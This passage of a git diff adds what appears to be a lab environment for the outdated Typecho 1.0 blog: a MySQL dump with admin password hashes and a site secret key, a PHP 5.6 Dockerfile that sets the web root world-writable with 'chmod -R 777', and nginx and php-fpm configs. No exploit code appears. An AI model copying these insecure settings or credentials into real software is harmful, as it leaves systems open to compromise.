`type_users`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `type_users` ( + `uid` int(10) unsigned NOT NULL AUTO_INCREMENT, + `name` varchar(32) DEFAULT NULL, + `password` varchar(64) DEFAULT NULL, + `mail` varchar(200) DEFAULT NULL, + `url` varchar(200) DEFAULT NULL, + `screenName` varchar(32) DEFAULT NULL, + `created` int(10) unsigned DEFAULT '0', + `activated` int(10) unsigned DEFAULT '0', + `logged` int(10) unsigned DEFAULT '0', + `group` varchar(16) DEFAULT 'visitor', + `authCode` varchar(64) DEFAULT NULL, + PRIMARY KEY (`uid`), + UNIQUE KEY `name` (`name`), + UNIQUE KEY `mail` (`mail`) +) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `type_users` +-- + +LOCK TABLES `type_users` WRITE; +/*!40000 ALTER TABLE `type_users` DISABLE KEYS */; +INSERT INTO `type_users` VALUES (1,'rod','$P$BeclIxSwtif/0XYc48MtLXcqKy08/m0','webmaster@yourdomain.com','http://www.typecho.org','rod',1511615545,1511615809,0,'administrator','d350a7a2aefdc4e0a589d344301dcad8'); +/*!40000 ALTER TABLE `type_users` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `typecho_comments` +-- + +DROP TABLE IF EXISTS `typecho_comments`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `typecho_comments` ( + `coid` int(10) unsigned NOT NULL AUTO_INCREMENT, + `cid` int(10) unsigned DEFAULT '0', + `created` int(10) unsigned DEFAULT '0', + `author` varchar(200) DEFAULT NULL, + `authorId` int(10) unsigned DEFAULT '0', + `ownerId` int(10) unsigned DEFAULT '0', + `mail` varchar(200) DEFAULT NULL, + `url` varchar(200) DEFAULT NULL, + `ip` varchar(64) DEFAULT NULL, + `agent` varchar(200) DEFAULT NULL, + `text` text, + `type` varchar(16) DEFAULT 'comment', + `status` varchar(16) DEFAULT 'approved', + `parent` int(10) unsigned DEFAULT '0', + PRIMARY KEY (`coid`), + KEY `cid` (`cid`), + KEY `created` (`created`) +) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `typecho_comments` +-- + +LOCK TABLES `typecho_comments` WRITE; +/*!40000 ALTER TABLE `typecho_comments` DISABLE KEYS */; +INSERT INTO `typecho_comments` VALUES (1,1,1529491966,'Typecho',0,1,NULL,'http://typecho.org','127.0.0.1','Typecho 1.0/14.10.10','欢迎加入 Typecho 大家族','comment','approved',0); +/*!40000 ALTER TABLE `typecho_comments` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `typecho_contents` +-- + +DROP TABLE IF EXISTS `typecho_contents`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `typecho_contents` ( + `cid` int(10) unsigned NOT NULL AUTO_INCREMENT, + `title` varchar(200) DEFAULT NULL, + `slug` varchar(200) DEFAULT NULL, + `created` int(10) unsigned DEFAULT '0', + `modified` int(10) unsigned DEFAULT '0', + `text` text, + `order` int(10) unsigned DEFAULT '0', + `authorId` int(10) unsigned DEFAULT '0', + `template` varchar(32) DEFAULT NULL, + `type` varchar(16) DEFAULT 'post', + `status` varchar(16) DEFAULT 'publish', + `password` varchar(32) DEFAULT NULL, + `commentsNum` int(10) unsigned DEFAULT '0', + `allowComment` char(1) DEFAULT '0', + `allowPing` char(1) DEFAULT '0', + `allowFeed` char(1) DEFAULT '0', + `parent` int(10) unsigned DEFAULT '0', + PRIMARY KEY (`cid`), + UNIQUE KEY `slug` (`slug`), + KEY `created` (`created`) +) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `typecho_contents` +-- + +LOCK TABLES `typecho_contents` WRITE; +/*!40000 ALTER TABLE `typecho_contents` DISABLE KEYS */; +INSERT INTO `typecho_contents` VALUES (1,'欢迎使用 Typecho','start',1529491966,1529491966,'如果您看到这篇文章,表示您的 blog 已经安装成功.',0,1,NULL,'post','publish',NULL,1,'1','1','1',0),(2,'关于','start-page',1529491966,1529491966,'本页面由 Typecho 创建, 这只是个测试页面.',0,1,NULL,'page','publish',NULL,0,'1','1','1',0); +/*!40000 ALTER TABLE `typecho_contents` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `typecho_fields` +-- + +DROP TABLE IF EXISTS `typecho_fields`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `typecho_fields` ( + `cid` int(10) unsigned NOT NULL, + `name` varchar(200) NOT NULL, + `type` varchar(8) DEFAULT 'str', + `str_value` text, + `int_value` int(10) DEFAULT '0', + `float_value` float DEFAULT '0', + PRIMARY KEY (`cid`,`name`), + KEY `int_value` (`int_value`), + KEY `float_value` (`float_value`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `typecho_fields` +-- + +LOCK TABLES `typecho_fields` WRITE; +/*!40000 ALTER TABLE `typecho_fields` DISABLE KEYS */; +/*!40000 ALTER TABLE `typecho_fields` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `typecho_metas` +-- + +DROP TABLE IF EXISTS `typecho_metas`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `typecho_metas` ( + `mid` int(10) unsigned NOT NULL AUTO_INCREMENT, + `name` varchar(200) DEFAULT NULL, + `slug` varchar(200) DEFAULT NULL, + `type` varchar(32) NOT NULL, + `description` varchar(200) DEFAULT NULL, + `count` int(10) unsigned DEFAULT '0', + `order` int(10) unsigned DEFAULT '0', + `parent` int(10) unsigned DEFAULT '0', + PRIMARY KEY (`mid`), + KEY `slug` (`slug`) +) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `typecho_metas` +-- + +LOCK TABLES `typecho_metas` WRITE; +/*!40000 ALTER TABLE `typecho_metas` DISABLE KEYS */; +INSERT INTO `typecho_metas` VALUES (1,'默认分类','default','category','只是一个默认分类',1,1,0); +/*!40000 ALTER TABLE `typecho_metas` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `typecho_options` +-- + +DROP TABLE IF EXISTS `typecho_options`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `typecho_options` ( + `name` varchar(32) NOT NULL, + `user` int(10) unsigned NOT NULL DEFAULT '0', + `value` text, + PRIMARY KEY (`name`,`user`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `typecho_options` +-- + +LOCK TABLES `typecho_options` WRITE; +/*!40000 ALTER TABLE `typecho_options` DISABLE KEYS */; +INSERT INTO `typecho_options` VALUES ('theme',0,'default'),('theme:default',0,'a:2:{s:7:\"logoUrl\";N;s:12:\"sidebarBlock\";a:5:{i:0;s:15:\"ShowRecentPosts\";i:1;s:18:\"ShowRecentComments\";i:2;s:12:\"ShowCategory\";i:3;s:11:\"ShowArchive\";i:4;s:9:\"ShowOther\";}}'),('timezone',0,'28800'),('lang',0,'zh_CN'),('charset',0,'UTF-8'),('contentType',0,'text/html'),('gzip',0,'0'),('generator',0,'Typecho 1.0/14.10.10'),('title',0,'Hello World'),('description',0,'Just So So ...'),('keywords',0,'typecho,php,blog'),('rewrite',0,'0'),('frontPage',0,'recent'),('frontArchive',0,'0'),('commentsRequireMail',0,'1'),('commentsWhitelist',0,'0'),('commentsRequireURL',0,'0'),('commentsRequireModeration',0,'0'),('plugins',0,'a:0:{}'),('commentDateFormat',0,'F jS, Y \\a\\t h:i a'),('siteUrl',0,'http://10.0.0.211'),('defaultCategory',0,'1'),('allowRegister',0,'0'),('defaultAllowComment',0,'1'),('defaultAllowPing',0,'1'),('defaultAllowFeed',0,'1'),('pageSize',0,'5'),('postsListSize',0,'10'),('commentsListSize',0,'10'),('commentsHTMLTagAllowed',0,NULL),('postDateFormat',0,'Y-m-d'),('feedFullText',0,'1'),('editorSize',0,'350'),('autoSave',0,'0'),('markdown',0,'1'),('commentsMaxNestingLevels',0,'5'),('commentsPostTimeout',0,'2592000'),('commentsUrlNofollow',0,'1'),('commentsShowUrl',0,'1'),('commentsMarkdown',0,'0'),('commentsPageBreak',0,'0'),('commentsThreaded',0,'1'),('commentsPageSize',0,'20'),('commentsPageDisplay',0,'last'),('commentsOrder',0,'ASC'),('commentsCheckReferer',0,'1'),('commentsAutoClose',0,'0'),('commentsPostIntervalEnable',0,'1'),('commentsPostInterval',0,'60'),('commentsShowCommentOnly',0,'0'),('commentsAvatar',0,'1'),('commentsAvatarRating',0,'G'),('commentsAntiSpam',0,'1'),('routingTable',0,'a:26:{i:0;a:25:{s:5:\"index\";a:6:{s:3:\"url\";s:1:\"/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:8:\"|^[/]?$|\";s:6:\"format\";s:1:\"/\";s:6:\"params\";a:0:{}}s:7:\"archive\";a:6:{s:3:\"url\";s:6:\"/blog/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:13:\"|^/blog[/]?$|\";s:6:\"format\";s:6:\"/blog/\";s:6:\"params\";a:0:{}}s:2:\"do\";a:6:{s:3:\"url\";s:22:\"/action/[action:alpha]\";s:6:\"widget\";s:9:\"Widget_Do\";s:6:\"action\";s:6:\"action\";s:4:\"regx\";s:32:\"|^/action/([_0-9a-zA-Z-]+)[/]?$|\";s:6:\"format\";s:10:\"/action/%s\";s:6:\"params\";a:1:{i:0;s:6:\"action\";}}s:4:\"post\";a:6:{s:3:\"url\";s:24:\"/archives/[cid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:26:\"|^/archives/([0-9]+)[/]?$|\";s:6:\"format\";s:13:\"/archives/%s/\";s:6:\"params\";a:1:{i:0;s:3:\"cid\";}}s:10:\"attachment\";a:6:{s:3:\"url\";s:26:\"/attachment/[cid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:28:\"|^/attachment/([0-9]+)[/]?$|\";s:6:\"format\";s:15:\"/attachment/%s/\";s:6:\"params\";a:1:{i:0;s:3:\"cid\";}}s:8:\"category\";a:6:{s:3:\"url\";s:17:\"/category/[slug]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:25:\"|^/category/([^/]+)[/]?$|\";s:6:\"format\";s:13:\"/category/%s/\";s:6:\"params\";a:1:{i:0;s:4:\"slug\";}}s:3:\"tag\";a:6:{s:3:\"url\";s:12:\"/tag/[slug]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:20:\"|^/tag/([^/]+)[/]?$|\";s:6:\"format\";s:8:\"/tag/%s/\";s:6:\"params\";a:1:{i:0;s:4:\"slug\";}}s:6:\"author\";a:6:{s:3:\"url\";s:22:\"/author/[uid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:24:\"|^/author/([0-9]+)[/]?$|\";s:6:\"format\";s:11:\"/author/%s/\";s:6:\"params\";a:1:{i:0;s:3:\"uid\";}}s:6:\"search\";a:6:{s:3:\"url\";s:19:\"/search/[keywords]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:23:\"|^/search/([^/]+)[/]?$|\";s:6:\"format\";s:11:\"/search/%s/\";s:6:\"params\";a:1:{i:0;s:8:\"keywords\";}}s:10:\"index_page\";a:6:{s:3:\"url\";s:21:\"/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:22:\"|^/page/([0-9]+)[/]?$|\";s:6:\"format\";s:9:\"/page/%s/\";s:6:\"params\";a:1:{i:0;s:4:\"page\";}}s:12:\"archive_page\";a:6:{s:3:\"url\";s:26:\"/blog/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:27:\"|^/blog/page/([0-9]+)[/]?$|\";s:6:\"format\";s:14:\"/blog/page/%s/\";s:6:\"params\";a:1:{i:0;s:4:\"page\";}}s:13:\"category_page\";a:6:{s:3:\"url\";s:32:\"/category/[slug]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:34:\"|^/category/([^/]+)/([0-9]+)[/]?$|\";s:6:\"format\";s:16:\"/category/%s/%s/\";s:6:\"params\";a:2:{i:0;s:4:\"slug\";i:1;s:4:\"page\";}}s:8:\"tag_page\";a:6:{s:3:\"url\";s:27:\"/tag/[slug]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:29:\"|^/tag/([^/]+)/([0-9]+)[/]?$|\";s:6:\"format\";s:11:\"/tag/%s/%s/\";s:6:\"params\";a:2:{i:0;s:4:\"slug\";i:1;s:4:\"page\";}}s:11:\"author_page\";a:6:{s:3:\"url\";s:37:\"/author/[uid:digital]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:33:\"|^/author/([0-9]+)/([0-9]+)[/]?$|\";s:6:\"format\";s:14:\"/author/%s/%s/\";s:6:\"params\";a:2:{i:0;s:3:\"uid\";i:1;s:4:\"page\";}}s:11:\"search_page\";a:6:{s:3:\"url\";s:34:\"/search/[keywords]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:32:\"|^/search/([^/]+)/([0-9]+)[/]?$|\";s:6:\"format\";s:14:\"/search/%s/%s/\";s:6:\"params\";a:2:{i:0;s:8:\"keywords\";i:1;s:4:\"page\";}}s:12:\"archive_year\";a:6:{s:3:\"url\";s:18:\"/[year:digital:4]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:19:\"|^/([0-9]{4})[/]?$|\";s:6:\"format\";s:4:\"/%s/\";s:6:\"params\";a:1:{i:0;s:4:\"year\";}}s:13:\"archive_month\";a:6:{s:3:\"url\";s:36:\"/[year:digital:4]/[month:digital:2]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:30:\"|^/([0-9]{4})/([0-9]{2})[/]?$|\";s:6:\"format\";s:7:\"/%s/%s/\";s:6:\"params\";a:2:{i:0;s:4:\"year\";i:1;s:5:\"month\";}}s:11:\"archive_day\";a:6:{s:3:\"url\";s:52:\"/[year:digital:4]/[month:digital:2]/[day:digital:2]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:41:\"|^/([0-9]{4})/([0-9]{2})/([0-9]{2})[/]?$|\";s:6:\"format\";s:10:\"/%s/%s/%s/\";s:6:\"params\";a:3:{i:0;s:4:\"year\";i:1;s:5:\"month\";i:2;s:3:\"day\";}}s:17:\"archive_year_page\";a:6:{s:3:\"url\";s:38:\"/[year:digital:4]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:33:\"|^/([0-9]{4})/page/([0-9]+)[/]?$|\";s:6:\"format\";s:12:\"/%s/page/%s/\";s:6:\"params\";a:2:{i:0;s:4:\"year\";i:1;s:4:\"page\";}}s:18:\"archive_month_page\";a:6:{s:3:\"url\";s:56:\"/[year:digital:4]/[month:digital:2]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:44:\"|^/([0-9]{4})/([0-9]{2})/page/([0-9]+)[/]?$|\";s:6:\"format\";s:15:\"/%s/%s/page/%s/\";s:6:\"params\";a:3:{i:0;s:4:\"year\";i:1;s:5:\"month\";i:2;s:4:\"page\";}}s:16:\"archive_day_page\";a:6:{s:3:\"url\";s:72:\"/[year:digital:4]/[month:digital:2]/[day:digital:2]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:55:\"|^/([0-9]{4})/([0-9]{2})/([0-9]{2})/page/([0-9]+)[/]?$|\";s:6:\"format\";s:18:\"/%s/%s/%s/page/%s/\";s:6:\"params\";a:4:{i:0;s:4:\"year\";i:1;s:5:\"month\";i:2;s:3:\"day\";i:3;s:4:\"page\";}}s:12:\"comment_page\";a:6:{s:3:\"url\";s:53:\"[permalink:string]/comment-page-[commentPage:digital]\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:36:\"|^(.+)/comment\\-page\\-([0-9]+)[/]?$|\";s:6:\"format\";s:18:\"%s/comment-page-%s\";s:6:\"params\";a:2:{i:0;s:9:\"permalink\";i:1;s:11:\"commentPage\";}}s:4:\"feed\";a:6:{s:3:\"url\";s:20:\"/feed[feed:string:0]\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:4:\"feed\";s:4:\"regx\";s:17:\"|^/feed(.*)[/]?$|\";s:6:\"format\";s:7:\"/feed%s\";s:6:\"params\";a:1:{i:0;s:4:\"feed\";}}s:8:\"feedback\";a:6:{s:3:\"url\";s:31:\"[permalink:string]/[type:alpha]\";s:6:\"widget\";s:15:\"Widget_Feedback\";s:6:\"action\";s:6:\"action\";s:4:\"regx\";s:29:\"|^(.+)/([_0-9a-zA-Z-]+)[/]?$|\";s:6:\"format\";s:5:\"%s/%s\";s:6:\"params\";a:2:{i:0;s:9:\"permalink\";i:1;s:4:\"type\";}}s:4:\"page\";a:6:{s:3:\"url\";s:12:\"/[slug].html\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:22:\"|^/([^/]+)\\.html[/]?$|\";s:6:\"format\";s:8:\"/%s.html\";s:6:\"params\";a:1:{i:0;s:4:\"slug\";}}}s:5:\"index\";a:3:{s:3:\"url\";s:1:\"/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:7:\"archive\";a:3:{s:3:\"url\";s:6:\"/blog/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:2:\"do\";a:3:{s:3:\"url\";s:22:\"/action/[action:alpha]\";s:6:\"widget\";s:9:\"Widget_Do\";s:6:\"action\";s:6:\"action\";}s:4:\"post\";a:3:{s:3:\"url\";s:24:\"/archives/[cid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:10:\"attachment\";a:3:{s:3:\"url\";s:26:\"/attachment/[cid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:8:\"category\";a:3:{s:3:\"url\";s:17:\"/category/[slug]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:3:\"tag\";a:3:{s:3:\"url\";s:12:\"/tag/[slug]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:6:\"author\";a:3:{s:3:\"url\";s:22:\"/author/[uid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:6:\"search\";a:3:{s:3:\"url\";s:19:\"/search/[keywords]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:10:\"index_page\";a:3:{s:3:\"url\";s:21:\"/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:12:\"archive_page\";a:3:{s:3:\"url\";s:26:\"/blog/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:13:\"category_page\";a:3:{s:3:\"url\";s:32:\"/category/[slug]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:8:\"tag_page\";a:3:{s:3:\"url\";s:27:\"/tag/[slug]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:11:\"author_page\";a:3:{s:3:\"url\";s:37:\"/author/[uid:digital]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:11:\"search_page\";a:3:{s:3:\"url\";s:34:\"/search/[keywords]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:12:\"archive_year\";a:3:{s:3:\"url\";s:18:\"/[year:digital:4]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:13:\"archive_month\";a:3:{s:3:\"url\";s:36:\"/[year:digital:4]/[month:digital:2]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:11:\"archive_day\";a:3:{s:3:\"url\";s:52:\"/[year:digital:4]/[month:digital:2]/[day:digital:2]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:17:\"archive_year_page\";a:3:{s:3:\"url\";s:38:\"/[year:digital:4]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:18:\"archive_month_page\";a:3:{s:3:\"url\";s:56:\"/[year:digital:4]/[month:digital:2]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:16:\"archive_day_page\";a:3:{s:3:\"url\";s:72:\"/[year:digital:4]/[month:digital:2]/[day:digital:2]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:12:\"comment_page\";a:3:{s:3:\"url\";s:53:\"[permalink:string]/comment-page-[commentPage:digital]\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:4:\"feed\";a:3:{s:3:\"url\";s:20:\"/feed[feed:string:0]\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:4:\"feed\";}s:8:\"feedback\";a:3:{s:3:\"url\";s:31:\"[permalink:string]/[type:alpha]\";s:6:\"widget\";s:15:\"Widget_Feedback\";s:6:\"action\";s:6:\"action\";}s:4:\"page\";a:3:{s:3:\"url\";s:12:\"/[slug].html\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}}'),('actionTable',0,'a:0:{}'),('panelTable',0,'a:0:{}'),('attachmentTypes',0,'@image@'),('secret',0,'dKhmg2VG)%9Ca^mJ@EisK0M9WlzdWkbZ'); +/*!40000 ALTER TABLE `typecho_options` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `typecho_relationships` +-- + +DROP TABLE IF EXISTS `typecho_relationships`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `typecho_relationships` ( + `cid` int(10) unsigned NOT NULL, + `mid` int(10) unsigned NOT NULL, + PRIMARY KEY (`cid`,`mid`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `typecho_relationships` +-- + +LOCK TABLES `typecho_relationships` WRITE; +/*!40000 ALTER TABLE `typecho_relationships` DISABLE KEYS */; +INSERT INTO `typecho_relationships` VALUES (1,1); +/*!40000 ALTER TABLE `typecho_relationships` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `typecho_users` +-- + +DROP TABLE IF EXISTS `typecho_users`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `typecho_users` ( + `uid` int(10) unsigned NOT NULL AUTO_INCREMENT, + `name` varchar(32) DEFAULT NULL, + `password` varchar(64) DEFAULT NULL, + `mail` varchar(200) DEFAULT NULL, + `url` varchar(200) DEFAULT NULL, + `screenName` varchar(32) DEFAULT NULL, + `created` int(10) unsigned DEFAULT '0', + `activated` int(10) unsigned DEFAULT '0', + `logged` int(10) unsigned DEFAULT '0', + `group` varchar(16) DEFAULT 'visitor', + `authCode` varchar(64) DEFAULT NULL, + PRIMARY KEY (`uid`), + UNIQUE KEY `name` (`name`), + UNIQUE KEY `mail` (`mail`) +) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `typecho_users` +-- + +LOCK TABLES `typecho_users` WRITE; +/*!40000 ALTER TABLE `typecho_users` DISABLE KEYS */; +INSERT INTO `typecho_users` VALUES (1,'admin','$P$BumPXvwUFtgO8ORkn1G8hc011NcPd9.','webmaster@yourdomain.com','http://www.typecho.org','admin',1529491966,0,0,'administrator',NULL); +/*!40000 ALTER TABLE `typecho_users` ENABLE KEYS */; +UNLOCK TABLES; +/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; + +/*!40101 SET SQL_MODE=@OLD_SQL_MODE */; +/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; +/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; +/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; +/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; +/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; +/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; + +-- Dump completed on 2018-06-20 11:05:45 diff --git a/Typecho/1.0/php-fpm/Dockerfile b/Typecho/1.0/php-fpm/Dockerfile new file mode 100644 index 000000000..ad5d1fe77 --- /dev/null +++ b/Typecho/1.0/php-fpm/Dockerfile @@ -0,0 +1,16 @@ +FROM s1r1u5/php:5.6 + + +MAINTAINER s1riu5 + + +COPY default.conf /etc/nginx/conf.d/ +COPY super.ini /etc/supervisor.d/ + +COPY src/ /app + + +RUN set -x \ + && chmod -R 777 /app \ + && apk add php5-json php5-mcrypt php5-xml php5-ctype + diff --git a/Typecho/1.0/php-fpm/default.conf b/Typecho/1.0/php-fpm/default.conf new file mode 100644 index 000000000..99bce7417 --- /dev/null +++ b/Typecho/1.0/php-fpm/default.conf @@ -0,0 +1,55 @@ +server { + listen 80; + server_name localhost; + + #charset koi8-r; + access_log /var/log/nginx/host.access.log main; + + location / { + root /app; + index index.php index.html index.htm; + } + + #error_page 404 /404.html; + + # redirect server error pages to the static page /50x.html + # + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /app; + } + + # proxy the PHP scripts to Apache listening on 127.0.0.1:80 + # + #location ~ \.php$ { + # proxy_pass http://127.0.0.1; + #} + + # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 + # + location ~ .*\.php(\/.*)*$ { + root /app; #站点目录 + fastcgi_pass 127.0.0.1:9000; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME /app$fastcgi_script_name; + include fastcgi_params; + + set $path_info ""; + set $real_script_name $fastcgi_script_name; + if ($fastcgi_script_name ~ "^(.+?\.php)(/.+)$") { + set $real_script_name $1; + set $path_info $2; + } + fastcgi_param SCRIPT_FILENAME $document_root$real_script_name; + fastcgi_param SCRIPT_NAME $real_script_name; + fastcgi_param PATH_INFO $path_info; + } + + + # deny access to .htaccess files, if Apache's document root + # concurs with nginx's one + # + #location ~ /\.ht { + # deny all; + #} +} diff --git a/Typecho/1.0/php-fpm/php-fpm.conf b/Typecho/1.0/php-fpm/php-fpm.conf new file mode 100644 index 000000000..52672e904 --- /dev/null +++ b/Typecho/1.0/php-fpm/php-fpm.conf @@ -0,0 +1,421 @@ +; Start a new pool named 'www'. +; the variable $pool can be used in any directive and will be replaced by the +; pool name ('www' here) +[www] + +; Per pool prefix +; It only applies on the following directives: +; - 'access.log' +; - 'slowlog' +; - 'listen' (unixsocket) +; - 'chroot' +; - 'chdir' +; - 'php_values' +; - 'php_admin_values' +; When not set, the global prefix (or /usr) applies instead. +; Note: This directive can also be relative to the global prefix. +; Default Value: none +;prefix = /path/to/pools/$pool + +; Unix user/group of processes +; Note: The user is mandatory. If the group is not set, the default user's group +; will be used. +user = www-data +group = www-data + +; The address on which to accept FastCGI requests. +; Valid syntaxes are: +; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific IPv4 address on +; a specific port; +; '[ip:6:addr:ess]:port' - to listen on a TCP socket to a specific IPv6 address on +; a specific port; +; 'port' - to listen on a TCP socket to all addresses +; (IPv6 and IPv4-mapped) on a specific port; +; '/path/to/unix/socket' - to listen on a unix socket. +; Note: This value is mandatory. +; listen = /run/php-fpm7.1/php-fpm.sock + +listen = [::]:9000 + +; Set listen(2) backlog. +; Default Value: 511 (-1 on FreeBSD and OpenBSD) +;listen.backlog = 511 + +; Set permissions for unix socket, if one is used. In Linux, read/write +; 